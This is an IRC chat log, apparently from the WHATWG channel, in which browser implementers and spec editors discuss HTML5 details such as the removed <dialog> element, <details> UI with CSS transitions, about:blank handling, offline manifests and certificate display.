[07:01:01.0000] <da3d>
/me hasn't played LBP though...

[07:04:00.0000] <Philip`>
((Braid is also on PC, for ~£10, and is certainly worth it, unless you hate games))

[07:07:00.0000] <beowulf>
LBp is fun

[07:10:00.0000] <da3d>
/me just noticed <dialog> has been dropped :(

[07:23:00.0000] <Lachy>
in the about: URI spec, would it be sensible for it to define how to handle the query string for about:blank?

[07:23:01.0000] <Lachy>
It currently says  nothing about it, but browsers don't seem to be interoperable on this at all

[07:24:00.0000] <Lachy>
some just ignore the query string and return a blank page. IE8 complains with a Navigation cancelled message

[07:24:01.0000] <Lachy>
da3d, that was dropped earlier today because it was useless.

[07:25:00.0000] <Lachy>
and badly designed

[07:28:00.0000] <othermaciej>
Lachy: if other random about: URIs are undefined, and it's not needed for interop, then you can probably leave it undefined

[07:33:00.0000] <Lachy>
othermaciej, fair enough

[07:33:01.0000] <da3d>
Lachy: Yeah, I saw that while reading the irc logs. I kinda liked it, but I can't really argue against the issues it had so dropping it is probably for the best.

[07:34:00.0000] <othermaciej>
I'm kind of motivated to implement the new <figure> and/or <details> now

[07:34:01.0000] <Lachy>
cool

[07:34:02.0000] <Lachy>
I'm curious what UI you intend to give to details

[07:35:00.0000] <Lachy>
will it just be an expander triangle (or +/- icon) next to the dt?

[07:39:00.0000] <annevk42>
Lachy, I'd rather have it defined

[07:39:01.0000] <annevk42>
Lachy, probably as not having an effect

[07:41:00.0000] <Philip`>
The internet uses <dl> much more than I anticipated

[07:43:00.0000] <Philip`>
Also, computers are far too slow

[07:43:01.0000] <Philip`>
1400 seconds and it's still not finished :-(

[07:43:02.0000] <Lachy>
annevk42, do you mean to define it such that about:blank and about:blank?foo are always effectively equivalent, as far as determining what resource to return is concenred?

[07:44:00.0000] <jgraham_>
Lachy: That seems sensible

[07:45:00.0000] <annevk42>
yeah

[07:46:00.0000] <Lachy>
ok

[07:48:00.0000] <annevk42>
as for fragids btw

[07:48:01.0000] <annevk42>
you can leave those out

[07:48:02.0000] <othermaciej>
Lachy: I would do it like Mac OS X disclosure triangles, but the tricky bit will be getting a nice animation

[07:48:03.0000] <Lachy>
annevk42, yeah, I know. They were already dropped from a previous draft

[07:48:04.0000] <Philip`>
(1600 seconds, a million lines of output, still not nearly finished...)

[07:49:00.0000] <Lachy>
othermaciej, do it with CSS transitions.

[07:49:01.0000] <erlehmann>
othermaciej, GTK has them too. so are they gonna implemented as native widgets?

[07:49:02.0000] <Philip`>
othermaciej, do it with <video>

[07:49:03.0000] <Lachy>
transition the height of the <dd> from 0 to auto over a 1s period

[07:49:04.0000] <othermaciej>
Lachy: that's what I was thinking - but I need to at least add pseudo-classes for the closed and open states in that case

[07:49:05.0000] <Lachy>
not sure how that would work with multiple <dd>s though

[07:50:00.0000] <othermaciej>
erlehmann: nothing in WebKit is implemented with native widgets

[07:50:01.0000] <Philip`>
Pre-render an MPEG of the animated triangle

[07:50:02.0000] <othermaciej>
erlehmann: I *could* make it themable but I am not sure it's worth it

[07:50:03.0000] <erlehmann>
Philip`, or, if MNG support is still in … wasn't that interactive?

[07:50:04.0000] <hsivonen>
WebKit has MNG support?

[07:50:05.0000] <erlehmann>
othermaciej, how does webkit-gtk work then? is it „fake“ widgets like with gtk-themed qt?

[07:52:00.0000] <othermaciej>
erlehmann: it uses the Gtk theme API to draw the native appearance

[07:53:00.0000] <othermaciej>
erlehmann: WebKit on Mac does it using Cocoa theme APIs

[07:53:01.0000] <othermaciej>
but all controls are drawn using CSS rendering

[07:53:02.0000] <othermaciej>
which allows you to fully style them if you choose

[07:54:00.0000] <erlehmann>
nice :) so the CSS transition approach is even flexible

[07:54:01.0000] <annevk42>
hmm yeah, we should have :open and :close or some such

[07:56:00.0000] <jgraham_>
/me wonders how the need to introduce one CSS feature per HTML5 feature affects the idea that they are independant

[07:57:00.0000] <annevk42>
Selectors are not really independent

[07:57:01.0000] <annevk42>
and maybe CSS in general isn't either, dunno

[07:59:00.0000] <annevk42>
maybe this is something we should tackle for HTML6; how to introduce markup features that also need their visual/UI-side covered to succeed

[07:59:01.0000] <erlehmann>
jgraham_, i am envisioning a science-fiction short story where after a global crisis the world is ruled by the WHATWG, only by exploiting through several loopholes in existing web standards that ultimately tie into state law through use of accessability hoops.

[07:59:02.0000] <othermaciej>
it's hard to make pseudo-classes and psuedo-elements fully independent of the markup language

[07:59:03.0000] <erlehmann>
oopn, strike the "through"

[08:00:00.0000] <hsivonen>
It's bit sad that Google Maps views on various Web pages aren't resolution-independent

[08:00:01.0000] <hsivonen>
at least not in Firefox

[08:01:00.0000] <hsivonen>
/me wants Google Maps to use SVG

[08:01:01.0000] <erlehmann>
hsivonen, what other web map widgets are there? any using SVG?

[08:02:00.0000] <hsivonen>
I don't know

[08:02:01.0000] <hsivonen>
but I've browsed the Web lately with device pixel not equaling a CSS pixel

[08:02:02.0000] <hsivonen>
and my conclusion is that the Web needs a lot more vector graphics

[08:03:00.0000] <Philip`>
Could you come to a different conclusion that doesn't involve redesigning every web page in the world?

[08:03:01.0000] <Lachy>
othermaciej, here's a simple demo of how it could work http://software.hixie.ch/utilities/js/live-dom-viewer/saved/232

[08:04:00.0000] <Lachy>
though that CSS isn't perfect

[08:04:01.0000] <Rik|work>
:expanded and the opposite can be useful for <details> and tree views in general

[08:05:00.0000] <othermaciej>
Lachy: now that's neat

[08:06:00.0000] <Lachy>
othermaciej, the only problem is that using height: auto; wouldn't work for the transition is going to the open state. So I had to hard code in a value for that

[08:06:01.0000] <annevk42>
doesn't work in Opera

[08:06:02.0000] <Lachy>
annevk42, that's cause I didn't use the -o- properly.

[08:06:03.0000] <Lachy>
*property

[08:07:00.0000] <othermaciej>
excepting I'd add a disclosure triangle and adjust the margins and such 

[08:07:01.0000] <othermaciej>
also I think only the label should react to clicks

[08:07:02.0000] <Lachy>
and also cause we don't have transitions in 10, but it should work in core

[08:07:03.0000] <othermaciej>
does the spec require otherwise? if so it should be fixed IMO

[08:07:04.0000] <Lachy>
othermaciej, I don't think the spec requires any specific UI

[08:08:00.0000] <othermaciej>
basically because details needs to be able to hold interactive controls and it would be frustrating if a misclick collapsed it

[08:08:01.0000] <Lachy>
I just made the whole details clickable for simplicity. Making only the <dt> clickable would have reqired and extra line or two of code

[08:09:00.0000] <annevk42>
Lachy, it should at least hide/display without transitions, no?

[08:09:01.0000] <jgraham_>
Yeah only the label shopuld be clickable for sure

[08:09:02.0000] <Rik|work>
I want a slower transition if I hold Shift :)

[08:09:03.0000] <Lachy>
actually, it would just require this change: <details><dt onclick="toggle(this.parentNode);">Click This

[08:09:04.0000] <annevk42>
also doesn't work in Chrome

[08:10:00.0000] <Lachy>
does chrome support transitions?

[08:10:01.0000] <Philip`>
I hope it animates nicely with no jumping if you try to close it in the middle of the opening animation

[08:10:02.0000] <othermaciej>
would it be overly gross to reuse :checked instead of making a new pseudo?

[08:12:00.0000] <annevk42>
othermaciej, that sounds fine to me

[08:12:01.0000] <jgraham_>
that sounds somewhat dubious to me, but then I know nothing about CSS

[08:13:00.0000] <jgraham_>
(I would worry a bit about people finding their scripts that assumed only form controls could be :checked breaking)

[08:13:01.0000] <othermaciej>
if I make up a new pseudo it has to be a -webkit-prefixed one at least for now

[08:13:02.0000] <Lachy>
annevk42, it works in gogi if you move the onclick attribute to the <dt> like I showed above and change the -webkit- to -o-

[08:13:03.0000] <annevk42>
it's a boolean state and :checked matches that

[08:13:04.0000] <Lachy>
apparently we don't support event attributes on unknown elements, like webkit does

[08:13:05.0000] <annevk42>
the name might not match exactly, but still...

[08:14:00.0000] <annevk42>
Lachy, hmm, we should have a bug on that

[08:14:01.0000] <Lachy>
do you want to file ti?

[08:14:02.0000] <Lachy>
it?

[08:15:00.0000] <Lachy>
othermaciej, why do we need the new pseudo?

[08:16:00.0000] <Lachy>
what's wrong with just basing it on the open attribute like details[open] and details:not([open])

[08:16:01.0000] <othermaciej>
Lachy: does the attribute have to reflect the current open state?

[08:16:02.0000] <Lachy>
yes

[08:17:00.0000] <othermaciej>
that would work then

[08:17:01.0000] <zcorpan>
<video src=data:application/octect-stream,broken onemptied=this.appendChild(document.createElement('source'))></video>

[08:18:00.0000] <zcorpan>
networkState is NETWORK_EMPTY, so inserting a <source> will start the resource selection algorithm

[08:18:01.0000] <zcorpan>
the resource selection algorithm will see that a src attribute is present

[08:19:00.0000] <zcorpan>
and use src

[08:19:01.0000] <annevk42>
ah yeah, I forgot that about <details>

[08:19:02.0000] <annevk42>
still not sure whether such a design makes sense, but I suppose it does not matter

[08:23:00.0000] <Lachy>
annevk42, what doesn't make sense about the design?

[08:23:01.0000] <annevk42>
it's different from all other form controls

[08:24:00.0000] <Lachy>
it's not a form control though

[08:24:01.0000] <annevk42>
form control, ui control, all the same imo

[08:25:00.0000] <othermaciej>
the way form control value works is terrible though

[08:27:00.0000] <annevk42>
yeah, that was Hixie's argument for keeping it this way

[08:27:01.0000] <Lachy>
ok, I guess I'm missing something. I don't see how it could possibly work any other way

[08:29:00.0000] <othermaciej>
it could work in a way where the markup attribute sets the default initial value but the dynamic state is decoupled from it thereafter

[08:30:00.0000] <jgraham_>
Of course that would be weird and confusing

[08:30:01.0000] <Lachy>
ah, ok. Yeah, that would be silly.

[08:31:00.0000] <Lachy>
it's confusing enough for <input> and <textarea>

[08:31:01.0000] <othermaciej>
I'

[08:32:00.0000] <othermaciej>
I'm not saying that it would be good to do that, just that it's possible, and probably what annevk42 had in mind

[08:36:00.0000] <Philip`>
http://philip.html5.org/data/dl.html

[08:36:01.0000] <Philip`>
Feel free to look for people using it for dialog etc

[08:36:02.0000] <Philip`>
if you're incredibly bored

[08:45:00.0000] <jgraham_>
There are a few uses for lists of comments in bug trackers and forums which are a bit like dialog

[08:45:01.0000] <jgraham_>
/me has looked at the top third or so

[08:58:00.0000] <beowulf>
what's the point of <dl>?

[08:59:00.0000] <Philip`>
Backward compatibility with content that uses <dl>

[09:00:00.0000] <beowulf>
:)

[09:00:01.0000] <hsivonen>
beowulf: getting a mix of bolded text and indented text

[09:01:00.0000] <zcorpan>
it seems like the "If the media data is corrupted" condition is dead code if your media framework is non-draconian in its error handling

[09:02:00.0000] <jgraham_>
hsivonen: Having just looked through the big list from Philip` it seems like there are quite a few basically conforming uses

[09:02:01.0000] <jgraham_>
ANd a few basically non-conforming uses

[09:02:02.0000] <jgraham_>
(no conversation in English that I spotted)

[09:02:03.0000] <zcorpan>
i would appreciate if someone could produce a file that gstreamer can play but then aborts with a fatal error

[09:03:00.0000] <Philip`>
hsivonen: You don't get bold automatically, only indentation

[09:04:00.0000] <Philip`>
jgraham_: If you want, I can give you a list that's 50 times bigger

[09:10:00.0000] <jgraham_>
Philip`: No

[09:12:00.0000] <Philip`>
jgraham_: I can give you one that is approximately n times bigger, for 0 <= n <= 50

[09:14:00.0000] <jgraham_>
Philip`: Can I have n=0 please?

[09:17:00.0000] <Philip`>
jgraham_: Sure

[09:17:01.0000] <Philip`>
jgraham_: I've uploaded it to about:blank

[09:18:00.0000] <Philip`>
(Sorry for using a non-standard URL)

[09:19:00.0000] <Dashiva>
Philip`: Wikipedia gives you bold :P

[09:20:00.0000] <hsivonen>
/me wonders how ActiveX integrates with the event loop considering that sync XHR started out as an ActiveX thingy

[09:23:00.0000] <hsivonen>
cool. it seems the W3C is doing several right things: http://omocha.w3.org/wiki/

[09:23:01.0000] <hsivonen>
Reftest, Mochitest and hg

[09:25:00.0000] <annevk42>
I was just about to post that :)

[09:26:00.0000] <jgraham_>
Hmm, so I'm not sure about Mochitest

[09:27:00.0000] <hsivonen>
jgraham_: what's wrong with Mochitest?

[09:27:01.0000] <jgraham_>
Since according to the mochitest page the main advantage (for Mozilla) is that it can be run in chrome

[09:28:00.0000] <jgraham_>
On a technical level a) using == rather than === for assertions is wrong

[09:29:00.0000] <jgraham_>
/me forgets what b) and c) were

[09:31:00.0000] <Philip`>
/me uses mochitests for his (mostly non-chrome) canvas tests, because it seemed the easiest way to do script-based assertions

[09:31:01.0000] <jgraham_>
I guess if it depends on Mochikit that is overkill for most testing needs. You don't want a bug in the test harness to cause all the tests to fail

[09:31:02.0000] <Philip`>
(This is for the version of the tests that's in Mozilla's test suite)

[09:31:03.0000] <jgraham_>
(that's why jsUnit is evil, for example)

[09:35:00.0000] <hsivonen>
we should collect a list of troublesome Web features so that proposed features can be compared to the list for early detection of badness

[09:35:01.0000] <hsivonen>
stuff like sync XHR, Namespaces, alert() and document.write()

[09:36:00.0000] <annevk42>
localStorage o_O

[09:36:01.0000] <jgraham_>
I guess another problem about MochiTest is that the number of assertions is wrong. There should either be lots (to deal with exceptions, e.g.) or just a way of recording pass/fail

[09:41:00.0000] <Pure>
Hey!

[09:42:00.0000] <jgraham_>
Hej

[09:42:01.0000] <Pure>
How extensive is Offline Applications?

[09:42:02.0000] <Pure>
In HTML5

[09:42:03.0000] <annevk42>
did that guy who was going to explain us how HTML5 is silly and bloated come back with his blogpost btw?

[09:42:04.0000] <annevk42>
Pure, ?

[09:43:00.0000] <Pure>
*Looks up nme*

[09:43:01.0000] <Pure>
The caching of pages for offline using

[09:43:02.0000] <annevk42>
what do you mean with extensive?

[09:44:00.0000] <boblet>
Any Opera ppl here with @font-face experience?

[09:44:01.0000] <zcorpan>
/me has some experience

[09:45:00.0000] <annevk42>
/me has some too

[09:45:01.0000] <boblet>
Daniel Davis’ nice Japanese example page using M+ font isn’t actually using M+ font http://devfiles.myopera.com/articles/751/japanese-newspaper.html

[09:46:00.0000] <Pure>
I mean, can I have an offline version of the page and an online version?

[09:46:01.0000] <Pure>
And can the manifest be in php?

[09:47:00.0000] <boblet>
The other Japanese @font-face font (in the main title) works fine, but I can’t get M+ fonts to work (M+ is used in article titles—cf Safari/FF where it’s much bolder/different glyphs)

[09:48:00.0000] <boblet>
brokenforeveryoneorjustme.com?

[09:49:00.0000] <beowulf>
Pure: I think there's a bug with a version of ff related to offline web pages

[09:51:00.0000] <annevk42>
Pure, not really

[09:51:01.0000] <annevk42>
Pure, actually, yes, you can

[09:51:02.0000] <Pure>
Huh?

[09:51:03.0000] <annevk42>
Pure, though from what I heard Firefox does not support FALLBACK or something

[09:51:04.0000] <beowulf>
/me is answering Pure's first q

[09:51:05.0000] <Pure>
And they can be in php?

[09:51:06.0000] <zcorpan>
beowulf: i don't see any difference between opera and firefox for the article titles

[09:52:00.0000] <beowulf>
zcorpan: ?

[09:52:01.0000] <zcorpan>
beowulf: sorry

[09:52:02.0000] <zcorpan>
boblet: i don't see any difference between opera and firefox for the article titles

[09:53:00.0000] <annevk42>
Pure, what do you mean PHP?

[09:53:01.0000] <annevk42>
Pure, the client never gets PHP

[09:53:02.0000] <boblet>
zcorpan: are you using MacOSX?

[09:54:00.0000] <Pure>
Does the client not request the manifest file, then the server parses it for php?

[09:54:01.0000] <annevk42>
Pure, sure

[09:55:00.0000] <annevk42>
Pure, you need to set the correct media type though

[09:55:01.0000] <annevk42>
Pure, maybe you're not doing that?

[09:55:02.0000] <zcorpan>
boblet: no, windows

[09:55:03.0000] <GPHemsley>
I assume there was an extensive discussion about dropping the 'cite' and 'pubdate' attributes from <article>?

[09:55:04.0000] <Pure>
I haven't tried yet, I'm just wondering

[09:55:05.0000] <GPHemsley>
(Aww, man, my logic is prohibited again? ...)

[09:56:00.0000] <annevk42>
Pure, in the end it's just bytes going over the wire, PHP has nothing to do with it

[09:56:01.0000] <annevk42>
GPHemsley, it was before too, just in Japenese

[09:56:02.0000] <boblet>
zcorpan: I don’t know if the version numbers are cross-platform, but what build? I’m on v6652 (newest for Mac)

[09:56:03.0000] <zcorpan>
Pure: php can generate any stream of bytes and set arbitrary headers

[09:56:04.0000] <GPHemsley>
annevk42: Oh, last I heard it had been turned into literal question marks.

[09:56:05.0000] <zcorpan>
Pure: so you can set the content-type header to whatever is needed for the manifest file and then generate it with php if you want

[09:56:06.0000] <annevk42>
GPHemsley, that was very temporary

[09:56:07.0000] <GPHemsley>
/me shrugs

[09:57:00.0000] <GPHemsley>
but anyway, back to my main question

[09:57:01.0000] <zcorpan>
boblet: 1733

[09:57:02.0000] <annevk42>
pubdate moved to <time>

[09:57:03.0000] <annevk42>
cite was not found useful enough

[09:57:04.0000] <Pure>
What happens if the user tries to view a php page while offline?

[09:58:00.0000] <Lachy>
cite="" should also be dropped from blockquote

[09:59:00.0000] <Lachy>
since browsers don't offer a way to follow it and authors duplicate it with <a href> and <cite> anyway

[09:59:01.0000] <zcorpan>
Pure: there's no difference between "a php page" or "an html page"

[09:59:02.0000] <Pure>
Ah, the last generated page will be shown

[09:59:03.0000] <annevk42>
#httpistough

[10:00:00.0000] <Pure>
Can I detect if the user is offline with javascript

[10:00:01.0000] <annevk42>
yes

[10:00:02.0000] <annevk42>
see navigator.onLine

[10:00:03.0000] <zcorpan>
isn't there a tutorial for this?

[10:00:04.0000] <annevk42>
on devmo

[10:01:00.0000] <boblet>
zcorpan: ok thanks. will file a bug with a screenshot

[10:02:00.0000] <zcorpan>
boblet: cool thanks

[10:03:00.0000] <GPHemsley>
I think I agree with Erik's commentary on <cite>, FWIW. It should be able to contain one full line of a works cited page. Either allow for embedded <cite>s with different 'type' attributes (e.g. full, title, author, etc.), or just leave that job for <span> and CSS.

[10:03:01.0000] <GPHemsley>
(referencing the recent mailing list post)

[10:08:00.0000] <Philip`>
/me thinks "we will [...] deviate from the standard" is a great quote

[10:09:00.0000] <GPHemsley>
heh

[10:09:01.0000] <Philip`>
At least they're not consistently pretending to support it when they don't

[10:28:00.0000] <takkaria>
Shelley is so vitriolic I can feel the acid burn from thousands of miles away

[10:28:01.0000] <Dashiva>
Again?

[10:29:00.0000] <adactio>
takkaria: Yeah, this kind of made me wince a little: http://twitter.com/shelleypowers/status/4006648345

[10:30:00.0000] <takkaria>
for some reason <dt> being used for stuff other than <dl> makes it "virtually useless", and now it's part of a "so-called 'details'" element

[10:30:01.0000] <takkaria>
apparently it means nothing anymore

[10:30:02.0000] <Philip`>
Her recent email doesn't appear to ask any questions or suggest any changes

[10:30:03.0000] <Philip`>
so it's hard to do anything productive with it

[10:31:00.0000] <takkaria>
I wish that her leaving the working group meant she posted to public-html less, but that doesn't seem to be happening so much

[10:34:00.0000] <jgraham_>
I wish her being a chronic attention seeker didn't actually result in her getting a disproportionate amount of attention

[10:34:01.0000] <zcorpan>
Philip`: it asks a question in the Subject:

[10:36:00.0000] <boblet>
zcorpan: bug DSK-265703 (I guess)

[10:36:01.0000] <Philip`>
zcorpan: Ah, yes

[10:36:02.0000] <Philip`>
zcorpan: I assumed that was a rhetorical question :-)

[10:36:03.0000] <zcorpan>
boblet: thanks

[10:37:00.0000] <boblet>
also interesting to note Daniel’s sample page is misusing <section> (another example of confusion on how to use section)

[10:38:00.0000] <Philip`>
Are there existing examples of elements that have very different meaning depending on the context they're used in?

[10:39:00.0000] <Philip`>
(assuming they're used conformingly in their context)

[10:39:01.0000] <annevk42>
<h1>

[10:39:02.0000] <hober>
adactio: thanks for the shout-out, btw

[10:39:03.0000] <boblet>
oh, hey adactio. nice work on dt/dd idea yo

[10:40:00.0000] <takkaria>
but they mean nothing now!!1!

[10:40:01.0000] <takkaria>
/me stops sniping

[10:41:00.0000] <Philip`>
annevk42: Hmm, anything with a less subtle distinction than that?

[10:41:01.0000] <beowulf>
Philip`: <li>?

[10:42:00.0000] <beowulf>
that's not a very different meaning though, sry

[10:42:01.0000] <beowulf>
/me tries harder

[10:43:00.0000] <annevk42>
Philip`, <dfn> sort of depends on the context, but not very different

[10:44:00.0000] <annevk42>
Philip`, the <dt>/<dd> is also not that different

[10:45:00.0000] <annevk42>
though a bit more

[10:45:01.0000] <boblet>
Hixie: I think the “a general rule…” text in the note on #the-section-element isn’t going to make sense to authors.

[10:46:00.0000] <boblet>
Hixie: this is too long, but might be of some use: http://html5doctor.com/the-section-element/#comment-970

[10:48:00.0000] <jgraham_>
Philip`: <kbd> and <samp>

[10:50:00.0000] <boblet>
later all

[10:51:00.0000] <jgraham_>
(also, arguably <aside>)

[10:51:01.0000] <Philip`>
/me wonders why Opera just says "Secure site: The connection to mail.google.com is secure." with no extra information (e.g. company names) in the address bar thingy or the dialog box

[10:52:00.0000] <Philip`>
Does that mean it could easily be a MITM attack? (with a secure connection to an unknown server)

[10:52:01.0000] <AryehGregor>
Not unless they've got a CA to give them a certificate for mail.google.com.

[10:54:00.0000] <AryehGregor>
If it doesn't give a company name, that just means it might not be a fancy extra-expensive certificate that supposedly verifies that mail.google.com actually belongs to, you guessed it, Google, Inc.

[10:54:01.0000] <AryehGregor>
Which is not terribly useful anyway, AFAICT.

[10:56:00.0000] <Pure>
 Can I have my page have a certificate on it?

[10:57:00.0000] <AryehGregor>
Yes, if you pay a CA for it.  Or self-sign/use CACert/etc. for free, which browsers will complain about.

[10:59:00.0000] <AryehGregor>
"While I was at it, I also did this for <figure>, and removed <dialog> from the spec altogether."

[10:59:01.0000] <AryehGregor>
I like the casualness of that statement.

[11:00:00.0000] <AryehGregor>
(yay for the death of <dialog>)

[11:00:01.0000] <Pure>
Why would a browser complain about it?

[11:00:02.0000] <AryehGregor>
Because it doesn't actually verify who you are.

[11:00:03.0000] <AryehGregor>
http://en.wikipedia.org/wiki/Public_key_infrastructure

[11:01:00.0000] <Philip`>
AryehGregor: If I go to e.g. https://www.ietf.org/ (which I don't think is fancy extra-expensive), it still shows the certificate's domain in the address bar, and has "Certificate summary" and a Certificate tab in the dialog box

[11:01:01.0000] <Philip`>
whereas on Gmail I get none of that

[11:01:02.0000] <Philip`>
(Amusingly https://ietf.org complains of an invalid certificate, because it doesn't match *.ietf.org)

[11:03:00.0000] <AryehGregor>
http://www.verisign.com/ssl/ssl-information-center/extended-validation-ssl-certificates/index.html

[11:03:01.0000] <AryehGregor>
http://en.wikipedia.org/wiki/Extended_Validation_Certificate

[11:04:00.0000] <Philip`>
AryehGregor: That doesn't seem relevant when I just want Opera to show me at least a few details of the normal non-EV certificate on Gmail

[11:04:01.0000] <AryehGregor>
Chrome doesn't seem to show almost anything.

[11:04:02.0000] <AryehGregor>
I'm not sure what info you're saying Opera is missing.

[11:05:00.0000] <Philip`>
Imagine any kind of information whatsoever

[11:05:01.0000] <Philip`>
Opera is missing it

[11:05:02.0000] <AryehGregor>
ietf.org doesn't seem to be using an EV cert either.

[11:05:03.0000] <AryehGregor>
Meh, UI issue.

[11:06:00.0000] <Philip`>
"I apologize in advance if any of this post duplicates things that have been said before I joined these lists" - hmph, you were too lazy to catch up on the archive before joining?

[11:06:01.0000] <annevk42>
Philip`, for mail.google.com I see mail.google.com in the address bar with the padlock... just like for ietf.org

[11:06:02.0000] <Philip`>
There's only like twenty thousand messages

[11:06:03.0000] <AryehGregor>
Really, that few?

[11:09:00.0000] <Philip`>
Next you'll be saying you didn't read all the archived IRC logs

[11:10:00.0000] <Philip`>
http://philip.html5.org/misc/gmail-cert.png

[11:11:00.0000] <annevk42>
weird

[11:11:01.0000] <Philip`>
If I reload Gmail then it starts working fine

[11:12:00.0000] <Philip`>
If I view an email with external images, it changes to a question mark and the dialog says it's insecure

[11:13:00.0000] <Philip`>
I haven't seen it change back to the empty yellow box yet

[11:14:00.0000] <Philip`>
AryehGregor: If you're looking for examples of summary usage, http://philip.html5.org/data/table-summary-values-dotbot.html has some

[11:14:01.0000] <AryehGregor>
Does that say if they actually meet the use cases adequately?

[11:15:00.0000] <AryehGregor>
I can't figure out whether the examples given in the spec change proposal meets the proposed use case, let alone stuff on random websites.

[11:15:01.0000] <Philip`>
It doesn't say anything, it's just mostly-raw data

[11:16:00.0000] <Philip`>
I think people who've looked at the data say most of it is either useless or garbage

[11:16:01.0000] <Philip`>
(That is, the summary values are useless or garbage, not the data about summary values)

[11:16:02.0000] <Philip`>
(though the data might be too)

[11:17:00.0000] <Philip`>
so there's no desire to make the spec accept what random websites do

[11:20:00.0000] <Philip`>
"standards authors can't give authors much incentive to cater to blind people if blind people are 0.1% or less of their audience" - that's what government legislation is for, so people are forced to make things accessible even if it's not in their business interests

[11:21:00.0000] <Philip`>
and so standards need to provide features that can be used by people who are forced to make things accessible, and that clearly demonstrate they've done some work to demonstrate they've made things accessible

[11:22:00.0000] <Philip`>
(so explicit attributes are good, because you can easily check if they exist or not, and if they exist then someone's clearly been successfully forced to do some work)

[11:22:01.0000] <Philip`>
Maybe that's how it works, anyway, or maybe that's totally wrong

[11:28:00.0000] <jgraham_>
/me feels compelled to make the obvious point that the existance of some accessibility attribute and the content actually being more accessible are not strongly correlated 

[11:28:01.0000] <webben>
Philip`: I think you'll find many people who think HTML is better off with features like "summary" don't have that much faith in automated testing for accessibility.

[11:30:00.0000] <annevk42>
webben, I hope they don't think that the people who think HTML is worse off with such features do have much faith in that...

[11:33:00.0000] <AryehGregor>
webben, I hope nobody has much faith in automated testing for accessibility.

[11:33:01.0000] <AryehGregor>
Philip`, you can't realistically require that every website be accessible, or even most.

[11:33:02.0000] <hsivonen>
hmm. non-DOM processors out of scope? http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0093.html

[11:34:00.0000] <AryehGregor>
A small minority, sure, maybe.

[11:34:01.0000] <AryehGregor>
But even then it's somewhat hard.

[11:34:02.0000] <hsivonen>
/me wonders how that's going to go with those who object to DOM-centricity

[11:34:03.0000] <AryehGregor>
It's not like RL accessibility, where you can say "everywhere has to be wheelchair-accessible by following these detailed rules about the exact width and slope of ramps needed".

[11:36:00.0000] <Philip`>
/me wonders what kind of testing is used for accessibility legislation

[11:37:00.0000] <AryehGregor>
Web accessibility legislation, you mean?

[11:37:01.0000] <hsivonen>
/me  thought governments pretty much look at whatever WCAG says for Web accessibility

[11:37:02.0000] <jgraham_>
/me wonders if he should have sent the email explaining why a lxml-based RDFa processor would need to know about the htmlness of documents (or assume anything taht looked like xmlns: under the infoset coercion algorithm was actually html)

[11:37:03.0000] <Philip`>
AryehGregor: Yes

[11:37:04.0000] <AryehGregor>
Probably lengthy checklists of manually-checked regulations.  Maybe just copied from WCAG.

[11:37:05.0000] <jgraham_>
s/anything/any attribute with a name starting with something/

[11:38:00.0000] <hsivonen>
jgraham_: seems like something to point out

[11:40:00.0000] <jgraham_>
hsivonen: I am reluctant to engage in too much discussion about a technology I am as uninterested in as RDFa

[11:40:01.0000] <Philip`>
jgraham_: It seems potentially productive to give concrete examples of why some implementers will have to care about these things, even if all the current implementations are coping alright with namespace-unaware APIs

[11:41:00.0000] <AryehGregor>
Ugh, I shouldn't be posting these long things that will actually attract replies.  I don't have time for it.

[11:42:00.0000] <webben>
annevk42: That wasn't what I meant; I see no reason to think they do. AryehGregor: That hope is likely to be disappointed.

[11:42:01.0000] <AryehGregor>
What hope?

[11:42:02.0000] <AryehGregor>
Oh.

[11:42:03.0000] <AryehGregor>
Automated testing.

[11:42:04.0000] <AryehGregor>
Oh well.

[11:42:05.0000] <webben>
hsivonen: Pretty much, from what I've seen (looking at WCAG).

[11:48:00.0000] <othermaciej>
AryehGregor: I think your post was interesting and I don't think it just duplicated previous posts

[12:00:00.0000] <cgriego>
As I read it, the details element content model forbids dd+dt? If I am reading that correctly, then I think that should instead be explicitly allowed.

[12:02:00.0000] <Dashiva>
cgriego: Hixie is more likely to listen if you give reasoning

[12:03:00.0000] <cgriego>
The most common use case would be a more/less use case. Where some teaser content is always visible and you want the control anchored to the bottom.

[12:07:00.0000] <Dashiva>
But the teaser content would be the <dt> would it not?

[12:07:01.0000] <Dashiva>
So it seems what you really want is control of the UI placement

[12:12:00.0000] <webben>
cgriego: Sounds like something to be controlled with CSS.

[12:13:00.0000] <cgriego>
No, teaser content would not appear in the dt because the teaser content should not control the show state.

[12:13:01.0000] <cgriego>
Example (Show All Amenities): http://travel.ian.com/hotel/propertydetails/134540/SUMMARY?cid=40

[12:14:00.0000] <cgriego>
Example (more under city list): http://www.getaroom.com/

[12:14:01.0000] <webben>
cgriego: No teaser content should be extracted from the "hidden" part of details.

[12:16:00.0000] <webben>
hmm.

[12:18:00.0000] <webben>
cgriego: In the case of getaroom, I don't think the first cities you see should be part of details.

[12:18:01.0000] <cgriego>
Agreed, it would appear before the details element.

[12:19:00.0000] <webben>
cgriego: so <details><dt>More cities</dt><dd>... additional cities ... </dd></details>

[12:21:00.0000] <webben>
cgriego: Though I suspect the widget as a whole is "semantically" http://dev.w3.org/html5/spec/forms.html#attr-input-list

[12:21:01.0000] <cgriego>
That's the rub, in the case of adding expanded information, it's common for the control to be below the content.

[12:21:02.0000] <cgriego>
As an author, I want to be able to put the dd first.

[12:21:03.0000] <webben>
cgriego: Before/after is CSS.

[12:22:00.0000] <webben>
though /either/ will gel with native <details> controls I dunno

[12:23:00.0000] <webben>
cgriego: In CSS 2.1, position the dt relative to details; in CSS3, http://www.w3.org/TR/css3-content/#moving

[12:23:01.0000] <webben>
*how /either/

[12:25:00.0000] <annevk42>
cgriego, maybe you should suggest on the list that both orders should be allowed and give the examples

[12:25:01.0000] <annevk42>
cgriego, though I'm not sure the second example applies

[12:30:00.0000] <cgriego>
Additional examples: iTunes artwork panel, iCal calendars/notifications panel, firebug, IE developer tools.

[12:37:00.0000] <annevk42>
ifette, congrats, though where's Mac/Ubuntu-stable? :)

[12:41:00.0000] <hsivonen>
annevk42: did the Chome team ship to stable channel?

[12:41:01.0000] <hsivonen>
*Chrome

[12:43:00.0000] <hsivonen>
it seems so

[12:44:00.0000] <hsivonen>
did both Theora and H.264 make it to the stable release?

[12:55:00.0000] <hsivonen>
hmm. CSSquirrel now has a URL in aria-describedby...

[13:01:00.0000] <Lachy>
that's not surprising. I expected that to become a common authoring mistake, as people think aria-describedby is a direct replacement for longdesc

[13:02:00.0000] <takkaria>
relatively easy cowpath to pave, though

[13:09:00.0000] <hsivonen>
